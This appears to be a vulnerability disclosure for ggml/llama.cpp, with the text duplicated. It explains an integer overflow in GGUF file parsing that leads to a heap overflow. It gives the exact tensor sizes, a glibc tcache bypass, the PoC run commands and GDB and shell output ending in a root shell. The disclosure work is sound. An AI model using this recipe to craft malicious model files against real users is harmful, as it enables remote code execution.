Summary
The gguf_init_from_file_impl() in gguf.cpp is vulnerable to an Integer overflow, leading to an undersized heap allocation. We can then use the next fread() to write data past the buffer boundary.
Using the subsequent fread() writes 528+ bytes of attacker-controlled data past the buffer boundary.
By tuning the allocation size to fall within glibc's tcache range, we can bypass the heap integrity checks during cleanup, and then the subsequent malloc() calls will return memory pre-filled with attacker data from the GGUF file.
I was able to eventually escalate this from a basic crash to full arbitrary code execution with a root shell spawned via system("/bin/sh").
This is a bypass of a similar bug in the same file - CVE-2025-53630, but the fix overlooked some areas (explained in the next section).
How it works
The vulnerability originates in the gguf_init_from_file_impl function within ggml/src/gguf.cpp. This function is responsible for parsing the GGUF model file format, including its metadata and tensor data.
Earlier Fix
The earlier vuln, CVE-2025-53630, patched an integer overflow by adding an overflow check on the ctx->size accumulation loop at line 642:
if (SIZE_MAX - ctx->size < padded_size) { // prevents ctx->size from WRAPPING
...
return nullptr;
}
ctx->size += padded_size;
Checking Individually, but not the final Added Values
But if you scroll a little bit further down in the same file, the mem_size for the ggml context is computed without an overflow check:
const size_t mem_size =
params.no_alloc ?
(n_tensors )*ggml_tensor_overhead() :
(n_tensors + 1)*ggml_tensor_overhead() + ctx->size; // ← INTEGER OVERFLOW
When ctx->size is close to SIZE_MAX (achievable via two large I8 tensors whose sizes pass the per-addition CVE-2025-53630 check), the addition wraps around to a small value.
The function iterates through the tensor information read from the GGUF file to calculate the total size required for all tensor data. This total is then accumulated in ctx->size (a size_t variable) at L641 with ctx->size += padded_size;. So each addition is individually checked, but not together.
Getting Closer
We can create a GGUF file with two I8 tensors where both tensors use ne[0] = 0x7FFFFFFFFFFFFFC0 (9,223,372,036,854,775,744), which after padding (32-byte alignment) comes to:
- Tensor 1 contributing
padded_size = 0x7FFFFFFFFFFFFFC0 (already aligned)
- Tensor 2 contributing
padded_size = 0x7FFFFFFFFFFFFFC0 (same)
So the per-addition overflow check passes for each: SIZE_MAX − first_padded ≥ second_padded holds true. After both additions, ctx->size = 0xFFFFFFFFFFFFFF80, which is SIZE_MAX − 127. This is still a legitimate value - it's large, but it hasn't wrapped. So the earlier fix guard is satisfied.
The real issue : mem_size
If we go further down, we have mem_size which computes how much memory to allocate for the ggml context that'll hold the tensor data.
const size_t mem_size =
params.no_alloc ?
(n_tensors )*ggml_tensor_overhead() :
(n_tensors + 1)*ggml_tensor_overhead() + ctx->size; // <- this is the core issue
For our two tensors, (n_tensors + 1) * ggml_tensor_overhead() equals 3 × 368 = 1,104.
Adding this to ctx->size:
mem_size = 1,104 + (SIZE_MAX − 127)
= 1,104 + 18,446,744,073,709,551,488
= 976 (wraps mod 2^64)
And on this particular addition, there is no overflow check. The result wraps around to just 976 bytes.
Just after this, we have a ggml_init call with this small size, which in turn calls malloc(976) - i.e. it allocates a buffer much much smaller than what's required by the tensor data.
Tensor Creation with Wrapped Size
At L675 - we have the function which creates a blob tensor to hold all the tensor data:
data = ggml_new_tensor_1d(ctx_data, GGML_TYPE_I8, ctx->size);
From ggml.c we know that ggml_tensor is :
struct ggml_tensor * ggml_new_tensor_1d(
struct ggml_context * ctx,
enum ggml_type type,
int64_t ne0) {
return ggml_new_tensor(ctx, type, 1, &ne0);
}
That means, in our case - ctx->size (SIZE_MAX − 127) will be passed as an int64_t parameter, which then causes it to be interpreted as a negative number (−128).
Then, inside ggml_new_tensor_impl, we have a series of implicit unsigned/signed conversions which cause the internal size calculations to also wrap around to a small value.
The pool bounds check then compares this small wrapped size against the 976-byte buffer and concludes that there's enough room.
The tensor struct (368 bytes) is then written within the buffer, and data->data is set to point at buffer + 368.
Heap Overflow
At line 684 is where the corruption actually happens. It reads the tensor data from the file into the allocated buffer.
ok = ok && gr.read(data->data, ctx->size);
The gr.read call asks fread to read SIZE_MAX - 127 bytes into a buffer that only has 608 (976 − 368) bytes remaining.
So fread will read as much as the file provides but we can have attacker's data section of say 1136 bytes which will write 528 bytes past the end of the heap buffer.
ASAN confirms the overflow:
==6441==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x519000000450
WRITE of size 1136 at 0x519000000450 thread T0
#0 in fread
#1 in gguf_reader::read at gguf.cpp:285
#2 in gguf_init_from_file_impl at gguf.cpp:692
0x519000000450 is located 0 bytes after 976-byte region
That means we are in full control of what is overflowed, through the GGUF file's data section. I've explored this in the PoCs.
tcache bypass for Continued Execution
On most systems, fread returns a short count (the file runs out of data), so ok becomes false and the function enters its error cleanup path, which calls ggml_free(ctx_data) → free() on the corrupted heap buffer.
With my original PoC -> it simply resulted in a crash. 1,072-byte allocation → chunk size 1,088, the free() goes through glibc's slow path, which validates the next chunk's size field but finds it corrupted. So glibc aborts with "invalid next size (normal)" and the process crashes, which will lead to a DoS.
But we can actually tune the allocation size by choosing tensor dimensions that produce mem_size = 976 (chunk size 992), which then ensures that the allocation falls within glibc's tcache range (chunks ≤ 1,040 bytes).
The tcache is a thread-local cache introduced in glibc 2.26 that uses a fast path for free() which does not validate the next chunk's size field.
So:
free() during error cleanup succeeds silently : no integrity check, no abort
- Execution continues normally with corrupted heap state
- The corrupted chunk is placed on a tcache free list
So when subsequent code calls malloc() with a matching size, glibc returns the corrupted chunk - and the attacker's data from the GGUF file will be returned from the memory. I've added in the PoC with return of the 64 0xCAFEBABE values coming from the GGUF data section.
Who's Affected
ggml/src/gguf.cpp :
mem_size - the main vuln, missing overflow check
fread into undersized buffer
ggml/src/ggml.c - GGML_TENSOR_SIZE + obj_alloc_size wrap
The vuln will trigger in any code path that calls gguf_init_from_file() with no_alloc=false which is :
llama-quantize : tools/quantize/quantize.cpp
llama-imatrix : tools/imatrix/imatrix.cpp
- Control vectors |
common/common.cpp
llama-gguf : examples/gguf/gguf.cpp
The main model loading path (llama-model-loader.cpp) uses no_alloc=true and is not affected.
PoCs
I tested out the PoCs on a few different environments to be sure. Below are the platforms & envs I tested on:
| Platform |
OS |
Arch |
PoC |
Result |
| macOS |
15.4 |
ARM64 (M1 Max) |
crash |
SIGSEGV (exit 139) |
| Linux |
Ubuntu 24.04 (glibc 2.39) |
x86_64 |
crash |
SIGABRT (exit 134) |
| Linux |
Ubuntu 24.04 (glibc 2.39) |
ARM64 (Docker) |
crash |
SIGABRT (exit 134) |
| Linux |
Ubuntu 24.04 (glibc 2.39) |
ARM64 (Docker, ASAN) |
crash |
heap-buffer-overflow WRITE of 1136 into 976 bytes |
| Linux |
Ubuntu 24.04 (glibc 2.39) |
ARM64 (Docker) |
RCE (v2) |
Attacker data in malloc (exit 0) |
| Linux |
Ubuntu 22.04 (glibc 2.35) |
x86_64 (RunPod) |
RCE (v3) |
PC control: rbx=0x4141414141414141 |
| Linux |
Ubuntu 22.04 (glibc 2.35) |
x86_64 (RunPod) |
RCE (v4) |
Root shell via system("/bin/sh") |
How to test
python3 craft_gguf_poc.py poc_heap_overflow.gguf
./build/bin/llama-gguf poc_heap_overflow.gguf r n
# macOS: SIGSEGV (exit 139)
# Linux: SIGABRT "invalid next size" (exit 134)
RCE — shell execution (Linux/glibc, recommended)
gcc -O2 -o rce_v4 rce_harness_v4.c -Iggml/include -Lbuild/bin \
-lggml -lggml-base -lggml-cpu -lstdc++ -lm -lpthread
LD_LIBRARY_PATH=build/bin ./rce_v4
# Generates GGUF at runtime, loads it, spawns /bin/sh shell
Attacker data in malloc (Linux/glibc)
python3 craft_rce_poc_v2.py poc_rce_v2.gguf
gcc -O2 -o rce_v2 rce_harness_v2.c -Iggml/include -Lbuild/bin \
-lggml -lggml-base -lggml-cpu -lstdc++ -lm -lpthread
LD_LIBRARY_PATH=build/bin ./rce_v2 poc_rce_v2.gguf
# Clean exit (0), "FOUND attacker pattern 0xcafebabe..." messages
PC control (Linux/glibc)
python3 craft_rce_poc_v3.py poc_rce_v3.gguf
gcc -O2 -o rce_v3 rce_harness_v3.c -Iggml/include -Lbuild/bin \
-lggml -lggml-base -lggml-cpu -lstdc++ -lm -lpthread
LD_LIBRARY_PATH=build/bin ./rce_v3 poc_rce_v3.gguf
# SIGSEGV — under GDB, rbx=0x4141414141414141
Via llama-quantize (real-world attack surface)
./build/bin/llama-quantize --imatrix poc_heap_overflow.gguf dummy.gguf dummy.gguf q4_0
# Overflow occurs during imatrix loading
PoC Walkthrough
Getting to a Crash
craft_gguf_poc.py (generating poc_heap_overflow.gguf) used two I8 tensors with ne[0] values chosen to make ctx->size = SIZE_MAX - 31:
Tensor 1: ne[0] = INT64_MAX - 1 → padded_size = 2^63
Tensor 2: ne[0] = 2^63 - 34 → padded_size = 2^63 - 32
CVE check for tensor 1: SIZE_MAX - 0 ≥ 2^63 → passes
CVE check for tensor 2: SIZE_MAX - 2^63 = 2^63 - 1 ≥ 2^63 - 32 → passes
ctx->size = 2^63 + (2^63 - 32) = SIZE_MAX - 31
mem_size = 3 × 368 + (SIZE_MAX - 31) = 1,072 (wraps mod 2^64)
ggml_init() allocates 1,072 bytes. Inside that buffer, a tensor struct is placed at offset 0, and data->data points to offset 368 — leaving only 704 bytes. fread() at line 692 reads the full GGUF data section (2,048 bytes) into this space, overflowing by 1,344 bytes. The error path calls ggml_free() → free() on the corrupted heap → crash.
Result: SIGSEGV (exit 139) on macOS, SIGABRT with "free(): invalid next size" (exit 134) on Linux/glibc. See craft_gguf_poc.py and poc_heap_overflow.gguf.
ASAN confirmed the overflow:
==6441==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x519000000450
WRITE of size 1136 at 0x519000000450 thread T0
#0 in fread
#1 in gguf_reader::read at gguf.cpp:285
#2 in gguf_init_from_file_impl at gguf.cpp:692
0x519000000450 is located 0 bytes after 976-byte region
Surviving the Crash (glibc tcache bypass)
As mentioned in the earlier explanation, the crash PoC's 1,072-byte allocation (chunk size 1,088) exceeds glibc's tcache maximum (~1,040 bytes), forcing free() through the slow path which validates the next chunk's size field - detecting corruption and aborting.
But just by adjusting the tensor dimensions, we can make the wrapped allocation fall within tcache range:
ne[0] for both tensors = 0x7FFFFFFFFFFFFFC0
ctx->size = 0x7FFFFFFFFFFFFFC0 + 0x7FFFFFFFFFFFFFC0 = SIZE_MAX - 127
mem_size = 1,104 + (SIZE_MAX - 127) = 976 (wraps mod 2^64)
malloc(976) → chunk size 992 → tcache bin 60 (< 64 max bins) → TCACHE ELIGIBLE
As expected, Execution continues normally.
|
Crash PoC |
tcache PoC |
mem_size |
1,072 |
976 |
| Chunk size |
1,088 (above tcache) |
992 (in tcache) |
free() |
SIGABRT (integrity check) |
Succeeds |
| Post-overflow |
Process killed |
Continues |
See craft_rce_poc_v2.py and poc_rce_v2.gguf.
Fetching Data from Memory
The tcache bypass worked, heap is current, process is alive, and we have written past the glibc top chunk. Now malloc() call should carve from the corrupted top chunk and return attacker-controlled data from the GGUF data section.
In this PoC, I placed a fake top chunk header at the overflow boundary (data section byte 608) followed by OXCAFEBABE. As expected, malloc(1024) returns our value.
[+] GGUF load returned NULL (overflow + cleanup completed)
[+] Post-overflow malloc(1024) → 0xaaaae37bfd00
[!] FOUND attacker pattern 0xcafebabe00000000 at offset 368!
[!] FOUND attacker pattern 0xcafebabe00000001 at offset 376!
... (64 sequential attacker-controlled values) ...
[!] FOUND attacker pattern 0xcafebabe0000003f at offset 872!
EXIT: 0
Tested on Ubuntu 24.04 (glibc 2.39), ARM64. See rce_harness_v2.c.
Getting to finer Pointer Control
To confirm that I can control the Program Counter, I added 0x4141414141414141 at the function pointer offset in the data section.
GDB confirms that it works:
Program received signal SIGSEGV, Segmentation fault.
0x0000597332b38492 in main at /tmp/rce_harness_v3.c:198
198 ops->load("/bin/sh");
rip 0x597332b38492 0x597332b38492 <main+754>
rbx 0x4141414141414141 4702111234474983745 ← ATTACKER CONTROLLED
rdi 0x597332b3910a (address of "/bin/sh")
The value gets loaded in the rbx register as the indirect call target. It crashed because it's not a valid address. We know what's going to be the next step, don't we?
This was tested on Ubuntu 22.04 (glibc 2.35), x86_64. See craft_rce_poc_v3.py, poc_rce_v3.gguf, and rce_harness_v3.c.
Shell
This PoC uses the resolved system() address at runtime within the same process, generates a malicious GGUF with that address embedded at the correct data section offset, loads it (triggering the overflow), then scans the corrupted heap for the injected address and calls it with "/bin/sh".
=== GGUF Heap Overflow → Automatic Shell Execution ===
[*] system() @ 0x7f0ef399bd70 (resolved at runtime, same process)
[1] Generating malicious GGUF with system() address embedded...
Written: /tmp/poc_rce_auto.gguf
[2] Loading malicious GGUF (triggers heap overflow + tcache bypass)...
gguf_init_from_file_impl: failed to read tensor data binary blob
[+] Load returned NULL — overflow + tcache cleanup succeeded
[3] Scanning post-overflow heap for system() address...
FOUND system() at malloc(512)+224
Value: 0x00007f0ef399bd70 == system() @ 0x7f0ef399bd70
[4] CONTROL-FLOW HIJACK: calling system("/bin/sh")
Attacker-controlled function pointer from GGUF data section
→ jumping to system() with "/bin/sh" argument
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
[+] Shell exited. RCE demonstrated.
Tested on Ubuntu 22.04 (glibc 2.35), x86_64, RunPod cloud GPU instance. See rce_harness_v4.c.
note - I've uploaded all PoCs to https://huggingface.co/adig/gguf-hpovflw-poc/tree/main . For security - I've kept it as private, please request invite for the PoCs, or I can share the PoC on a public URL if you would prefer that.
Summary
The
gguf_init_from_file_impl()ingguf.cppis vulnerable to an Integer overflow, leading to an undersized heap allocation. We can then use the nextfread()to write data past the buffer boundary.Using the subsequent
fread()writes 528+ bytes of attacker-controlled data past the buffer boundary.By tuning the allocation size to fall within glibc's tcache range, we can bypass the heap integrity checks during cleanup, and then the subsequent
malloc()calls will return memory pre-filled with attacker data from the GGUF file.I was able to eventually escalate this from a basic crash to full arbitrary code execution with a root shell spawned via
system("/bin/sh").This is a bypass of a similar bug in the same file - CVE-2025-53630, but the fix overlooked some areas (explained in the next section).
How it works
The vulnerability originates in the
gguf_init_from_file_implfunction withinggml/src/gguf.cpp. This function is responsible for parsing the GGUF model file format, including its metadata and tensor data.Earlier Fix
The earlier vuln, CVE-2025-53630, patched an integer overflow by adding an overflow check on the
ctx->sizeaccumulation loop at line 642:Checking Individually, but not the final Added Values
But if you scroll a little bit further down in the same file, the
mem_sizefor the ggml context is computed without an overflow check:When
ctx->sizeis close toSIZE_MAX(achievable via two large I8 tensors whose sizes pass the per-addition CVE-2025-53630 check), the addition wraps around to a small value.The function iterates through the tensor information read from the GGUF file to calculate the total size required for all tensor data. This total is then accumulated in
ctx->size(asize_tvariable) at L641 withctx->size += padded_size;. So each addition is individually checked, but not together.Getting Closer
We can create a GGUF file with two I8 tensors where both tensors use
ne[0] = 0x7FFFFFFFFFFFFFC0(9,223,372,036,854,775,744), which after padding (32-byte alignment) comes to:padded_size = 0x7FFFFFFFFFFFFFC0(already aligned)padded_size = 0x7FFFFFFFFFFFFFC0(same)So the per-addition overflow check passes for each:
SIZE_MAX − first_padded ≥ second_paddedholds true. After both additions,ctx->size = 0xFFFFFFFFFFFFFF80, which isSIZE_MAX − 127. This is still a legitimate value - it's large, but it hasn't wrapped. So the earlier fix guard is satisfied.The real issue : mem_size
If we go further down, we have
mem_sizewhich computes how much memory to allocate for the ggml context that'll hold the tensor data.For our two tensors,
(n_tensors + 1) * ggml_tensor_overhead()equals3 × 368 = 1,104.Adding this to
ctx->size:And on this particular addition, there is no overflow check. The result wraps around to just 976 bytes.
Just after this, we have a
ggml_initcall with this small size, which in turn callsmalloc(976)- i.e. it allocates a buffer much much smaller than what's required by the tensor data.Tensor Creation with Wrapped Size
At L675 - we have the function which creates a blob tensor to hold all the tensor data:
From
ggml.cwe know thatggml_tensoris :That means, in our case -
ctx->size(SIZE_MAX − 127) will be passed as anint64_tparameter, which then causes it to be interpreted as a negative number (−128).Then, inside
ggml_new_tensor_impl, we have a series of implicit unsigned/signed conversions which cause the internal size calculations to also wrap around to a small value.The pool bounds check then compares this small wrapped size against the 976-byte buffer and concludes that there's enough room.
The tensor struct (368 bytes) is then written within the buffer, and
data->datais set to point atbuffer + 368.Heap Overflow
At line 684 is where the corruption actually happens. It reads the tensor data from the file into the allocated buffer.
The
gr.readcall asksfreadto readSIZE_MAX - 127bytes into a buffer that only has 608 (976 − 368) bytes remaining.So
freadwill read as much as the file provides but we can have attacker's data section of say 1136 bytes which will write 528 bytes past the end of the heap buffer.ASAN confirms the overflow:
That means we are in full control of what is overflowed, through the GGUF file's data section. I've explored this in the PoCs.
tcache bypass for Continued Execution
On most systems,
freadreturns a short count (the file runs out of data), sookbecomesfalseand the function enters its error cleanup path, which callsggml_free(ctx_data)→free()on the corrupted heap buffer.With my original PoC -> it simply resulted in a crash. 1,072-byte allocation → chunk size 1,088, the
free()goes through glibc's slow path, which validates the next chunk's size field but finds it corrupted. So glibc aborts with"invalid next size (normal)"and the process crashes, which will lead to a DoS.But we can actually tune the allocation size by choosing tensor dimensions that produce
mem_size = 976(chunk size 992), which then ensures that the allocation falls within glibc's tcache range (chunks ≤ 1,040 bytes).The
tcacheis a thread-local cache introduced in glibc 2.26 that uses a fast path forfree()which does not validate the next chunk's size field.So:
free()during error cleanup succeeds silently : no integrity check, no abortSo when subsequent code calls
malloc()with a matching size, glibc returns the corrupted chunk - and the attacker's data from the GGUF file will be returned from the memory. I've added in the PoC with return of the 640xCAFEBABEvalues coming from the GGUF data section.Who's Affected
ggml/src/gguf.cpp:mem_size- the main vuln, missing overflow checkfreadinto undersized bufferggml/src/ggml.c-GGML_TENSOR_SIZE + obj_alloc_sizewrapThe vuln will trigger in any code path that calls
gguf_init_from_file()withno_alloc=falsewhich is :llama-quantize:tools/quantize/quantize.cppllama-imatrix:tools/imatrix/imatrix.cppcommon/common.cppllama-gguf:examples/gguf/gguf.cppThe main model loading path (
llama-model-loader.cpp) usesno_alloc=trueand is not affected.PoCs
I tested out the PoCs on a few different environments to be sure. Below are the platforms & envs I tested on:
How to test
RCE — shell execution (Linux/glibc, recommended)
gcc -O2 -o rce_v4 rce_harness_v4.c -Iggml/include -Lbuild/bin \ -lggml -lggml-base -lggml-cpu -lstdc++ -lm -lpthread LD_LIBRARY_PATH=build/bin ./rce_v4 # Generates GGUF at runtime, loads it, spawns /bin/sh shellAttacker data in malloc (Linux/glibc)
python3 craft_rce_poc_v2.py poc_rce_v2.gguf gcc -O2 -o rce_v2 rce_harness_v2.c -Iggml/include -Lbuild/bin \ -lggml -lggml-base -lggml-cpu -lstdc++ -lm -lpthread LD_LIBRARY_PATH=build/bin ./rce_v2 poc_rce_v2.gguf # Clean exit (0), "FOUND attacker pattern 0xcafebabe..." messagesPC control (Linux/glibc)
python3 craft_rce_poc_v3.py poc_rce_v3.gguf gcc -O2 -o rce_v3 rce_harness_v3.c -Iggml/include -Lbuild/bin \ -lggml -lggml-base -lggml-cpu -lstdc++ -lm -lpthread LD_LIBRARY_PATH=build/bin ./rce_v3 poc_rce_v3.gguf # SIGSEGV — under GDB, rbx=0x4141414141414141Via llama-quantize (real-world attack surface)
./build/bin/llama-quantize --imatrix poc_heap_overflow.gguf dummy.gguf dummy.gguf q4_0 # Overflow occurs during imatrix loadingPoC Walkthrough
Getting to a Crash
craft_gguf_poc.py(generatingpoc_heap_overflow.gguf) used two I8 tensors withne[0]values chosen to makectx->size = SIZE_MAX - 31:ggml_init()allocates 1,072 bytes. Inside that buffer, a tensor struct is placed at offset 0, anddata->datapoints to offset 368 — leaving only 704 bytes.fread()at line 692 reads the full GGUF data section (2,048 bytes) into this space, overflowing by 1,344 bytes. The error path callsggml_free()→free()on the corrupted heap → crash.Result: SIGSEGV (exit 139) on macOS, SIGABRT with "free(): invalid next size" (exit 134) on Linux/glibc. See
craft_gguf_poc.pyandpoc_heap_overflow.gguf.ASAN confirmed the overflow:
Surviving the Crash (glibc tcache bypass)
As mentioned in the earlier explanation, the crash PoC's 1,072-byte allocation (chunk size 1,088) exceeds glibc's tcache maximum (~1,040 bytes), forcing
free()through the slow path which validates the next chunk's size field - detecting corruption and aborting.But just by adjusting the tensor dimensions, we can make the wrapped allocation fall within tcache range:
As expected, Execution continues normally.
mem_sizefree()See
craft_rce_poc_v2.pyandpoc_rce_v2.gguf.Fetching Data from Memory
The tcache bypass worked, heap is current, process is alive, and we have written past the glibc top chunk. Now
malloc()call should carve from the corrupted top chunk and return attacker-controlled data from the GGUF data section.In this PoC, I placed a fake top chunk header at the overflow boundary (data section byte 608) followed by
OXCAFEBABE. As expected,malloc(1024)returns our value.Tested on Ubuntu 24.04 (glibc 2.39), ARM64. See
rce_harness_v2.c.Getting to finer Pointer Control
To confirm that I can control the Program Counter, I added
0x4141414141414141at the function pointer offset in the data section.GDB confirms that it works:
The value gets loaded in the
rbxregister as the indirect call target. It crashed because it's not a valid address. We know what's going to be the next step, don't we?This was tested on Ubuntu 22.04 (glibc 2.35), x86_64. See
craft_rce_poc_v3.py,poc_rce_v3.gguf, andrce_harness_v3.c.Shell
This PoC uses the resolved
system()address at runtime within the same process, generates a malicious GGUF with that address embedded at the correct data section offset, loads it (triggering the overflow), then scans the corrupted heap for the injected address and calls it with"/bin/sh".Tested on Ubuntu 22.04 (glibc 2.35), x86_64, RunPod cloud GPU instance. See
rce_harness_v4.c.note - I've uploaded all PoCs to https://huggingface.co/adig/gguf-hpovflw-poc/tree/main . For security - I've kept it as private, please request invite for the PoCs, or I can share the PoC on a public URL if you would prefer that.